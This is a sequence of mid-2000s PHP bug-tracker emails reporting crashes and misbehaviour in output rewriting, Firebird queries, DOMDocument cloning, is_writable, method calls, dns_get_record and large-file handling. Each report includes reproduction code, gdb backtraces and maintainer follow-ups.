ubp_av=0xbfffe184, init=0x807a580 _init, fini=0x81f9f10 _fini,
rtld_fini=0x4000d2cc _dl_fini, stack_end=0xbfffe17c) at
../sysdeps/generic/libc-start.c:129
(gdb)






-- 
Edit this bug report at http://bugs.php.net/?id=32754edit=1

#32193 [NEW]: output_add_rewrite_var fail

[max at webscript dot ru]

From: max at webscript dot ru
Operating system: WinXP
PHP version:  5.0.3
PHP Bug Type: Output Control
Bug description:  output_add_rewrite_var fail

Description:

output_add_rewrite_var fails with multiline tags a ...

Reproduce code:
---
? output_add_rewrite_var('var', 'value'); ?
a href=aaa.php
aaa/a

Expected result:

a href=aaa.php?var=value
aaa/a

Actual result:
--
a href=aaa.php
?var=value
aaa/a

-- 
Edit bug report at http://bugs.php.net/?id=32193edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=32193r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=32193r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=32193r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=32193r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=32193r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=32193r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=32193r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=32193r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=32193r=support
Expected behavior:   http://bugs.php.net/fix.php?id=32193r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=32193r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=32193r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=32193r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=32193r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=32193r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=32193r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=32193r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=32193r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=32193r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=32193r=mysqlcfg

#32193 [Opn]: output_add_rewrite_var fail

[max at webscript dot ru]

 ID:   32193
 User updated by:  max at webscript dot ru
 Reported By:  max at webscript dot ru
 Status:   Open
 Bug Type: Output Control
 Operating System: WinXP
 PHP Version:  5.0.3
 New Comment:

also i see this bug in php 4.3.10 in linux


Previous Comments:


[2005-03-04 20:14:36] max at webscript dot ru

Description:

output_add_rewrite_var fails with multiline tags a ...

Reproduce code:
---
? output_add_rewrite_var('var', 'value'); ?
a href=aaa.php
aaa/a

Expected result:

a href=aaa.php?var=value
aaa/a

Actual result:
--
a href=aaa.php
?var=value
aaa/a





-- 
Edit this bug report at http://bugs.php.net/?id=32193edit=1

#30114 [Fbk-Opn]: crash php-cli after CREATE TABLE and DROP TABLE

[max at webscript dot ru]

 ID:   30114
 User updated by:  max at webscript dot ru
 Reported By:  max at webscript dot ru
-Status:   Feedback
+Status:   Open
 Bug Type: InterBase related
 Operating System: Win XP Pro
 PHP Version:  5CVS-2004-09-16 (dev)
 New Comment:

I've seen interbase client version and it was Firebird 1.0/Interbase
6.
But I have FireBurd 1.5
Yes,  that was my fault.

I took fbclient.dll from my firebird,  renamed it to gds32.dll and put
it to Windows/System32

Then i get such results :

php-code :

$host = 'localhost:C:\BASE\MY.GDB';
$conn = ibase_connect($host, 'SYSDBA', 'masterkey');

$sql = CREATE TABLE test_ch(ch varchar(200));
ibase_query($conn, $sql) or die(ibase_errmsg());

$sql = DROP TABLE test_ch;
ibase_query($conn, $sql) or die(ibase_errmsg());
---

At first time i get such error :
---
Warning: ibase_query(): Dynamic SQL Error SQL error code = -607
table/view TEST_CH does not exist  in C:\1\aa\abort.php on line 9
Dynamic SQL Error SQL error code = -607 table/view TEST_CH does not
exist 
---

If i'll try to exec this script second time i get error :
---
Warning: ibase_query(): unsuccessful metadata update Table TEST_CH
already exists  in C:\1\aa\abort.php on line 6
unsuccessful metadata update Table TEST_CH already exists 
---

So table was not deleted.


Previous Comments:


[2005-02-23 21:24:19] [EMAIL PROTECTED]

Please post the Interbase library versions returned by phpinfo()



[2004-09-16 14:45:00] max at webscript dot ru

Description:

when i try to create table via ibase_query() and then drop table it
crash php (cli and mod_php)
Table droped successfully but WinXP show window with error in php.exe
(or apache.exe if i test it with mod_php)

Reproduce code:
---
$host = 'localhost:C:\BASE\MY.GDB';
$conn = ibase_connect($host, 'SYSDBA', 'masterkey');

$sql = CREATE TABLE test_charset(ch varchar(200));
ibase_query($conn, $sql) or die(ibase_errmsg());

$sql = DROP TABLE test_charset;
ibase_query($conn, $sql) or die(ibase_errmsg());


Expected result:

it must create table and then drop it without any errors and warnings

Actual result:
--
i got window whihc inform me, that error happened in php.exe.
---
AppName: php.exe  AppVer: 5.0.2.2   ModName: msvcrt.dll
ModVer: 7.0.2600.0   Offset: 0002f548






-- 
Edit this bug report at http://bugs.php.net/?id=30114edit=1

#30114 [Opn]: crash php-cli after CREATE TABLE and DROP TABLE

[max at webscript dot ru]

 ID:   30114
 User updated by:  max at webscript dot ru
 Reported By:  max at webscript dot ru
 Status:   Open
 Bug Type: InterBase related
 Operating System: Win XP Pro
 PHP Version:  5CVS-2004-09-16 (dev)
 New Comment:

Ooops, i forgot to tell you my firebird client's version.
phpinfo show's :
Run-time Client Library Version = WI-V6.3.1.4481 Firebird 1.5


Previous Comments:


[2005-02-25 05:25:13] max at webscript dot ru

I've seen interbase client version and it was Firebird 1.0/Interbase
6.
But I have FireBurd 1.5
Yes,  that was my fault.

I took fbclient.dll from my firebird,  renamed it to gds32.dll and put
it to Windows/System32

Then i get such results :

php-code :

$host = 'localhost:C:\BASE\MY.GDB';
$conn = ibase_connect($host, 'SYSDBA', 'masterkey');

$sql = CREATE TABLE test_ch(ch varchar(200));
ibase_query($conn, $sql) or die(ibase_errmsg());

$sql = DROP TABLE test_ch;
ibase_query($conn, $sql) or die(ibase_errmsg());
---

At first time i get such error :
---
Warning: ibase_query(): Dynamic SQL Error SQL error code = -607
table/view TEST_CH does not exist  in C:\1\aa\abort.php on line 9
Dynamic SQL Error SQL error code = -607 table/view TEST_CH does not
exist 
---

If i'll try to exec this script second time i get error :
---
Warning: ibase_query(): unsuccessful metadata update Table TEST_CH
already exists  in C:\1\aa\abort.php on line 6
unsuccessful metadata update Table TEST_CH already exists 
---

So table was not deleted.



[2005-02-23 21:24:19] [EMAIL PROTECTED]

Please post the Interbase library versions returned by phpinfo()



[2004-09-16 14:45:00] max at webscript dot ru

Description:

when i try to create table via ibase_query() and then drop table it
crash php (cli and mod_php)
Table droped successfully but WinXP show window with error in php.exe
(or apache.exe if i test it with mod_php)

Reproduce code:
---
$host = 'localhost:C:\BASE\MY.GDB';
$conn = ibase_connect($host, 'SYSDBA', 'masterkey');

$sql = CREATE TABLE test_charset(ch varchar(200));
ibase_query($conn, $sql) or die(ibase_errmsg());

$sql = DROP TABLE test_charset;
ibase_query($conn, $sql) or die(ibase_errmsg());


Expected result:

it must create table and then drop it without any errors and warnings

Actual result:
--
i got window whihc inform me, that error happened in php.exe.
---
AppName: php.exe  AppVer: 5.0.2.2   ModName: msvcrt.dll
ModVer: 7.0.2600.0   Offset: 0002f548






-- 
Edit this bug report at http://bugs.php.net/?id=30114edit=1

#31878 [Opn]: DOMDocument - Segmentation fault

[php-bug at max-imp dot com]

 ID:   31878
 User updated by:  php-bug at max-imp dot com
-Summary:  Segmentation fault
 Reported By:  php-bug at max-imp dot com
 Status:   Open
 Bug Type: Reproducible crash
 Operating System: Gentoo
 PHP Version:  5.0.3
 New Comment:

Any new news?
thanks


Previous Comments:


[2005-02-08 02:19:44] php-bug at max-imp dot com

We have installed php5-STABLE-200502072330.tar.gz but are still
experiencing the same issue.

After doing more testing I believe its related to cloning the
domdocument. Here is a small test case that also fails when cloning a
domdocument.
==
$d = new DOMDocument();
$d-load( 'index.xml' );
$doc = clone $d;

var_dump($d);
var_dump($d-documentElement-ownerDocument);
var_dump($doc);
var_dump($doc-documentElement);
var_dump($doc-documentElement-ownerDocument);

new DOMXPath( $doc-documentElement-ownerDocument );
=

Here is index.xml that is used by the above php script
==
?xml version=1.0 ?
test/
==

There are a few odd things about the results of running the php. Here
are the resluts
==
object(DOMDocument)#1 (0) {
}
object(DOMDocument)#1 (0) {
}
object(DOMDocument)#2 (0) {
}
object(DOMElement)#3 (0) {
}
object(DOMDocument)#4 (0) {
}

Fatal error: Uncaught exception 'DOMException' with message
'__construct() expects parameter 1 to be DOMDocument, object given' in
/home/dmschlot/test-ownerDocument.php:36
Stack trace:
#0 /home/dmschlot/test-ownerDocument.php(36):
DOMXPath-__construct(Object(DOMXPath))
#1 {main}
  thrown in /home/dmschlot/test-ownerDocument.php on line 36
==
The 3rd and 4th var_dumps should be the same instances of DOMDocument.
Also for some reason its saying that I am passing in DOMXPath when it
should be a DOMDocument.

Thanks a lot for the help.



[2005-02-07 22:45:54] [EMAIL PROTECTED]

Please try using this CVS snapshot:

  http://snaps.php.net/php5-STABLE-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php5.0-win32-latest.zip





[2005-02-07 22:27:15] php-bug at max-imp dot com

Description:

I am receiving an segmentation fault when accessing the ownerDocument
property of a DOMNode object. Here is the line it's crashing on...

$xpath = new DOMXPath( $relativeTo-ownerDocument );


Reproduce code:
---
I can reproduce the error in the system I am working on but can not get
the error to occur outside of the system. (The system is pretty large.)

Actual result:
--
[Thread debugging using libthread_db enabled]
[New Thread 16384 (LWP 13455)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 16384 (LWP 13455)]
0x082ef792 in zend_objects_store_add_ref (object=0x8d0f0f0e) at
/var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_objects_API.c:128
warning: Source file is more recent than executable.

128
EG(objects_store).object_buckets[handle].bucket.obj.refcount++;
(gdb) bt
#0  0x082ef792 in zend_objects_store_add_ref (object=0x8d0f0f0e) at
/var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_objects_API.c:128
#1  0x082d1765 in _zval_copy_ctor (zvalue=0x8c885a4,
__zend_filename=0x831e300
/var/tmp/portage/php-5.0.3/work/php-5.0.3/ext/dom/php_dom.c,
__zend_lineno=1041)
at
/var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_variables.c:158
#2  0x080bfbf4 in php_dom_create_object (obj=0x8ca32e8,
found=0xbffe5f68, wrapper_in=0x0, return_value=0x8c885a4,
domobj=0x8db4484)
at
/var/tmp/portage/php-5.0.3/work/php-5.0.3/ext/dom/php_dom.c:1041
#3  0x080c83ad in dom_node_owner_document_read (obj=0x8db4484,
retval=0xbffe5f98)
at /var/tmp/portage/php-5.0.3/work/php-5.0.3/ext/dom/node.c:575
#4  0x080b8c98 in dom_read_property (object=0x8cb2bf4,
member=0x87805c0, type=139514432)
at /var/tmp/portage/php-5.0.3/work/php-5.0.3/ext/dom/php_dom.c:227
#5  0x0830810c in zend_fetch_property_address_read (result=0x8780594,
op1=0x87805a8, op2=0x87805bc, Ts=0xbffe6084, type=0)
at
/var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_execute.c:1158
#6  0x082fed68 in zend_fetch_obj_func_arg_handler
(execute_data=0xbffe7000, opline=0x8780590, op_array=0x8772ce4)
at
/var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_execute.c:2170
#7  0x082fca38 in execute (op_array=0x8772ce4) at
/var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_execute.c:1400
#8  0x08300ac6 in zend_do_fcall_common_helper (execute_data=0xbffe7f80,
opline=0x89e5e30, op_array=0x8981fd0)
at
/var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_execute.c:2740
#9  0x08300e93 in zend_do_fcall_by_name_handler
(execute_data

#31878 [NEW]: Segmentation fault

[php-bug at max-imp dot com]

From: php-bug at max-imp dot com
Operating system: Gentoo
PHP version:  5.0.3
PHP Bug Type: Reproducible crash
Bug description:  Segmentation fault

Description:

I am receiving an segmentation fault when accessing the ownerDocument
property of a DOMNode object. Here is the line it's crashing on...

$xpath = new DOMXPath( $relativeTo-ownerDocument );


Reproduce code:
---
I can reproduce the error in the system I am working on but can not get
the error to occur outside of the system. (The system is pretty large.)

Actual result:
--
[Thread debugging using libthread_db enabled]
[New Thread 16384 (LWP 13455)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 16384 (LWP 13455)]
0x082ef792 in zend_objects_store_add_ref (object=0x8d0f0f0e) at
/var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_objects_API.c:128
warning: Source file is more recent than executable.

128
EG(objects_store).object_buckets[handle].bucket.obj.refcount++;
(gdb) bt
#0  0x082ef792 in zend_objects_store_add_ref (object=0x8d0f0f0e) at
/var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_objects_API.c:128
#1  0x082d1765 in _zval_copy_ctor (zvalue=0x8c885a4,
__zend_filename=0x831e300
/var/tmp/portage/php-5.0.3/work/php-5.0.3/ext/dom/php_dom.c,
__zend_lineno=1041)
at
/var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_variables.c:158
#2  0x080bfbf4 in php_dom_create_object (obj=0x8ca32e8, found=0xbffe5f68,
wrapper_in=0x0, return_value=0x8c885a4, domobj=0x8db4484)
at /var/tmp/portage/php-5.0.3/work/php-5.0.3/ext/dom/php_dom.c:1041
#3  0x080c83ad in dom_node_owner_document_read (obj=0x8db4484,
retval=0xbffe5f98)
at /var/tmp/portage/php-5.0.3/work/php-5.0.3/ext/dom/node.c:575
#4  0x080b8c98 in dom_read_property (object=0x8cb2bf4, member=0x87805c0,
type=139514432)
at /var/tmp/portage/php-5.0.3/work/php-5.0.3/ext/dom/php_dom.c:227
#5  0x0830810c in zend_fetch_property_address_read (result=0x8780594,
op1=0x87805a8, op2=0x87805bc, Ts=0xbffe6084, type=0)
at /var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_execute.c:1158
#6  0x082fed68 in zend_fetch_obj_func_arg_handler
(execute_data=0xbffe7000, opline=0x8780590, op_array=0x8772ce4)
at /var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_execute.c:2170
#7  0x082fca38 in execute (op_array=0x8772ce4) at
/var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_execute.c:1400
#8  0x08300ac6 in zend_do_fcall_common_helper (execute_data=0xbffe7f80,
opline=0x89e5e30, op_array=0x8981fd0)
at /var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_execute.c:2740
#9  0x08300e93 in zend_do_fcall_by_name_handler (execute_data=0x850d240,
opline=0x8d0f0f0e, op_array=0x8d0f0f0e)
at /var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_execute.c:2825
#10 0x082fca38 in execute (op_array=0x8981fd0) at
/var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_execute.c:1400
#11 0x08300ac6 in zend_do_fcall_common_helper (execute_data=0xbffef3d0,
opline=0x40b1e56c, op_array=0x8abbb20)
at /var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_execute.c:2740
#12 0x08300f6e in zend_do_fcall_handler (execute_data=0xbffef3d0,
opline=0x40b1e56c, op_array=0x8d0f0f0e)
at /var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_execute.c:2843
#13 0x082fca38 in execute (op_array=0x8abbb20) at
/var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_execute.c:1400
#14 0x08300ac6 in zend_do_fcall_common_helper (execute_data=0xbffef910,
opline=0x8790f24, op_array=0x89c6074)
at /var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_execute.c:2740
#15 0x08300e93 in zend_do_fcall_by_name_handler (execute_data=0x850d240,
opline=0x8d0f0f0e, op_array=0x8d0f0f0e)
at /var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_execute.c:2825
#16 0x082fca38 in execute (op_array=0x89c6074) at
/var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_execute.c:1400
#17 0x08300ac6 in zend_do_fcall_common_helper (execute_data=0xbfff03e0,
opline=0x87a4708, op_array=0x89d33ac)
at /var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_execute.c:2740
#18 0x08300e93 in zend_do_fcall_by_name_handler (execute_data=0x850d240,
opline=0x8d0f0f0e, op_array=0x8d0f0f0e)
at /var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_execute.c:2825
#19 0x082fca38 in execute (op_array=0x89d33ac) at
/var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_execute.c:1400
#20 0x08300ac6 in zend_do_fcall_common_helper (execute_data=0xbfff1430,
opline=0x87abd00, op_array=0x89d345c)
at /var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_execute.c:2740
#21 0x08300e93 in zend_do_fcall_by_name_handler (execute_data=0x850d240,
opline=0x8d0f0f0e, op_array=0x8d0f0f0e)
at /var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_execute.c:2825
#22 0x082fca38 in execute (op_array=0x89d345c) at
/var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_execute.c:1400
#23 0x08300ac6 in zend_do_fcall_common_helper (execute_data=0xbfff1730,
opline=0x879e914, op_array=0x89d32fc)
at /var/tmp

#31878 [Fbk-Opn]: Segmentation fault

[php-bug at max-imp dot com]

 ID:   31878
 User updated by:  php-bug at max-imp dot com
 Reported By:  php-bug at max-imp dot com
-Status:   Feedback
+Status:   Open
 Bug Type: Reproducible crash
 Operating System: Gentoo
 PHP Version:  5.0.3
 New Comment:

We have installed php5-STABLE-200502072330.tar.gz but are still
experiencing the same issue.

After doing more testing I believe its related to cloning the
domdocument. Here is a small test case that also fails when cloning a
domdocument.
==
$d = new DOMDocument();
$d-load( 'index.xml' );
$doc = clone $d;

var_dump($d);
var_dump($d-documentElement-ownerDocument);
var_dump($doc);
var_dump($doc-documentElement);
var_dump($doc-documentElement-ownerDocument);

new DOMXPath( $doc-documentElement-ownerDocument );
=

Here is index.xml that is used by the above php script
==
?xml version=1.0 ?
test/
==

There are a few odd things about the results of running the php. Here
are the resluts
==
object(DOMDocument)#1 (0) {
}
object(DOMDocument)#1 (0) {
}
object(DOMDocument)#2 (0) {
}
object(DOMElement)#3 (0) {
}
object(DOMDocument)#4 (0) {
}

Fatal error: Uncaught exception 'DOMException' with message
'__construct() expects parameter 1 to be DOMDocument, object given' in
/home/dmschlot/test-ownerDocument.php:36
Stack trace:
#0 /home/dmschlot/test-ownerDocument.php(36):
DOMXPath-__construct(Object(DOMXPath))
#1 {main}
  thrown in /home/dmschlot/test-ownerDocument.php on line 36
==
The 3rd and 4th var_dumps should be the same instances of DOMDocument.
Also for some reason its saying that I am passing in DOMXPath when it
should be a DOMDocument.

Thanks a lot for the help.


Previous Comments:


[2005-02-07 22:45:54] [EMAIL PROTECTED]

Please try using this CVS snapshot:

  http://snaps.php.net/php5-STABLE-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php5.0-win32-latest.zip





[2005-02-07 22:27:15] php-bug at max-imp dot com

Description:

I am receiving an segmentation fault when accessing the ownerDocument
property of a DOMNode object. Here is the line it's crashing on...

$xpath = new DOMXPath( $relativeTo-ownerDocument );


Reproduce code:
---
I can reproduce the error in the system I am working on but can not get
the error to occur outside of the system. (The system is pretty large.)

Actual result:
--
[Thread debugging using libthread_db enabled]
[New Thread 16384 (LWP 13455)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 16384 (LWP 13455)]
0x082ef792 in zend_objects_store_add_ref (object=0x8d0f0f0e) at
/var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_objects_API.c:128
warning: Source file is more recent than executable.

128
EG(objects_store).object_buckets[handle].bucket.obj.refcount++;
(gdb) bt
#0  0x082ef792 in zend_objects_store_add_ref (object=0x8d0f0f0e) at
/var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_objects_API.c:128
#1  0x082d1765 in _zval_copy_ctor (zvalue=0x8c885a4,
__zend_filename=0x831e300
/var/tmp/portage/php-5.0.3/work/php-5.0.3/ext/dom/php_dom.c,
__zend_lineno=1041)
at
/var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_variables.c:158
#2  0x080bfbf4 in php_dom_create_object (obj=0x8ca32e8,
found=0xbffe5f68, wrapper_in=0x0, return_value=0x8c885a4,
domobj=0x8db4484)
at
/var/tmp/portage/php-5.0.3/work/php-5.0.3/ext/dom/php_dom.c:1041
#3  0x080c83ad in dom_node_owner_document_read (obj=0x8db4484,
retval=0xbffe5f98)
at /var/tmp/portage/php-5.0.3/work/php-5.0.3/ext/dom/node.c:575
#4  0x080b8c98 in dom_read_property (object=0x8cb2bf4,
member=0x87805c0, type=139514432)
at /var/tmp/portage/php-5.0.3/work/php-5.0.3/ext/dom/php_dom.c:227
#5  0x0830810c in zend_fetch_property_address_read (result=0x8780594,
op1=0x87805a8, op2=0x87805bc, Ts=0xbffe6084, type=0)
at
/var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_execute.c:1158
#6  0x082fed68 in zend_fetch_obj_func_arg_handler
(execute_data=0xbffe7000, opline=0x8780590, op_array=0x8772ce4)
at
/var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_execute.c:2170
#7  0x082fca38 in execute (op_array=0x8772ce4) at
/var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_execute.c:1400
#8  0x08300ac6 in zend_do_fcall_common_helper (execute_data=0xbffe7f80,
opline=0x89e5e30, op_array=0x8981fd0)
at
/var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_execute.c:2740
#9  0x08300e93 in zend_do_fcall_by_name_handler
(execute_data=0x850d240, opline=0x8d0f0f0e, op_array=0x8d0f0f0e)
at
/var/tmp/portage/php-5.0.3/work/php-5.0.3/Zend/zend_execute.c:2825
#10 0x082fca38 in execute

#30784 [NEW]: is_writable fails with apache user/group set

[max at warped dot org]

From: max at warped dot org
Operating system: Linux - Redhat ES3
PHP version:  4.3.9
PHP Bug Type: Filesystem function related
Bug description:  is_writable fails with apache user/group set

Description:

is_writable() only returns one for files that are writable by the apache
user, not by the current UID.

Apache is running as user/group nobody, but is setup with virtual hosts. 


Each virtual host uses its own user/group.  The current UID as returned by
getmyuid() verifies that my PHP scripts are running as me and not as
nobody.  

test_file is permission 0644.

If I chmod test_file to user me is_writable() returns nothing.

If I chmod test_file to user nobody is_writable() returns 1.

PHP needs to check the current uid an use that to verify if something is
writable, or it needs to defer to the operating system.  

I imagine this is mod_php specific.

Reproduce code:
---
httpd.conf :

User nobody
Group nobody

VirtualHost ...
  User me
  Group me
/VirtualHost

$ touch test_file
$ chmod 0644 test_file
$ chown nobody test_file

? print getmyuid() ?
? print is_writable('test_file') ?
 514
 1

$ chown me test_file

? print getmyuid() ?
? print is_writable('test_file') ?
  514
  (nothing)

Expected result:

I expect is_writable() to return 1 if PHP fully has permission to write
the file. 

As a result, I have to chmod sensitive data to 0666 on a shared server,
which is bad.



-- 
Edit bug report at http://bugs.php.net/?id=30784edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=30784r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=30784r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=30784r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=30784r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=30784r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=30784r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=30784r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=30784r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=30784r=support
Expected behavior:   http://bugs.php.net/fix.php?id=30784r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=30784r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=30784r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=30784r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=30784r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=30784r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=30784r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=30784r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=30784r=float
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=30784r=mysqlcfg

#30222 [NEW]: Problem with method call

[max at max-net dot nl]

From: max at max-net dot nl
Operating system: Windows 2003 Server Enterprise
PHP version:  4.3.8
PHP Bug Type: Class/Object related
Bug description:  Problem with method call

Description:

Warning: Problem with method call - please report this bug in
C:\inetpub\wwwroot\core\core\lib\template.lib.php on line 186

The actual line:
Class::function( 'set' , $this );

The way it does work (but i dont like the @):
@Class::function( 'set' , $this );

It has been reported before on the site if i am not mistaken, but maybe it
is back?

Reproduce code:
---
Class::function( 'set' , $this );

Expected result:

Storing the new $this object with new data in a static variable in the
function.

Actual result:
--
Warning: Problem with method call - please report this bug in
C:\inetpub\wwwroot\core\core\lib\template.lib.php on line 186

But the result is correct.

-- 
Edit bug report at http://bugs.php.net/?id=30222edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=30222r=trysnapshot4
Try a CVS snapshot (php5.0): http://bugs.php.net/fix.php?id=30222r=trysnapshot50
Try a CVS snapshot (php5.1): http://bugs.php.net/fix.php?id=30222r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=30222r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=30222r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=30222r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=30222r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=30222r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=30222r=support
Expected behavior:   http://bugs.php.net/fix.php?id=30222r=notwrong
Not enough info: http://bugs.php.net/fix.php?id=30222r=notenoughinfo
Submitted twice: http://bugs.php.net/fix.php?id=30222r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=30222r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=30222r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=30222r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=30222r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=30222r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=30222r=float
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=30222r=mysqlcfg

#29337 [NEW]: dns_get_record() unavailable on *BSD

[php at to-the-max dot net]

From: php at to-the-max dot net
Operating system: FreeBSD
PHP version:  5.0.0
PHP Bug Type: Network related
Bug description:  dns_get_record() unavailable on *BSD

Description:

dns_get_record() is not available when PHP is compiled under BSD.

/ext/standard/dns.c uses the res_nmkquery() and res_nsearch() functions
present in newer versions of BIND's libresolv.

However those functions are not present on *BSD (and probably other)
systems.

Please consider using the older res_mkquery(), res_search() fuctions, to
maximize compatibility.


-- 
Edit bug report at http://bugs.php.net/?id=29337edit=1
-- 
Try a CVS snapshot (php4):  http://bugs.php.net/fix.php?id=29337r=trysnapshot4
Try a CVS snapshot (php5):  http://bugs.php.net/fix.php?id=29337r=trysnapshot5
Fixed in CVS:   http://bugs.php.net/fix.php?id=29337r=fixedcvs
Fixed in release:   http://bugs.php.net/fix.php?id=29337r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=29337r=needtrace
Need Reproduce Script:  http://bugs.php.net/fix.php?id=29337r=needscript
Try newer version:  http://bugs.php.net/fix.php?id=29337r=oldversion
Not developer issue:http://bugs.php.net/fix.php?id=29337r=support
Expected behavior:  http://bugs.php.net/fix.php?id=29337r=notwrong
Not enough info:http://bugs.php.net/fix.php?id=29337r=notenoughinfo
Submitted twice:http://bugs.php.net/fix.php?id=29337r=submittedtwice
register_globals:   http://bugs.php.net/fix.php?id=29337r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=29337r=php3
Daylight Savings:   http://bugs.php.net/fix.php?id=29337r=dst
IIS Stability:  http://bugs.php.net/fix.php?id=29337r=isapi
Install GNU Sed:http://bugs.php.net/fix.php?id=29337r=gnused
Floating point limitations: http://bugs.php.net/fix.php?id=29337r=float

#15260 [Com]: file_exists doesn't work with 2G+ files

[zakd at max-t dot com]

 ID:   15260
 Comment by:   zakd at max-t dot com
 Reported By:  wweng at kencast dot com
 Status:   No Feedback
 Bug Type: *Directory/Filesystem functions
 Operating System: Linux
 PHP Version:  4.0.5
 New Comment:

This problem still exists in PHP4.3.2.
RedHat8.0, I'm using, does support 64 bits. If I have a 4G file
-rw-r--r-- 1 root  root4.0G Oct 15 11:00 file4gb

and run stat in the shell, it does the right thing and returns
%stat -t file4gb
output
file4gb 4299161600 8396800 81a4 0 0 c 72126888 1 0 0 1066229977
1066230022 1066237543 4096
/output

but PHP file I/Os don't seem to be able to handle 64 bits


Previous Comments:


[2002-03-20 00:00:03] php-bugs at lists dot php dot net

No feedback was provided for this bug for over a month, so it is
being suspended automatically. If you are able to provide the
information that was originally requested, please do so and change
the status of the bug back to Open.



[2002-01-28 20:53:13] wweng at kencast dot com

From what I had been researching on google, compiling a package with
uniformed 64 bits I/O functions requires -D_FILE_OFFSET_BITS=64 (and
kernel 2.4.x and glibc 2.2.2+). I greped through the php 4.1.1 source
code downloaded from php.net, couldn't find any trace of such option in
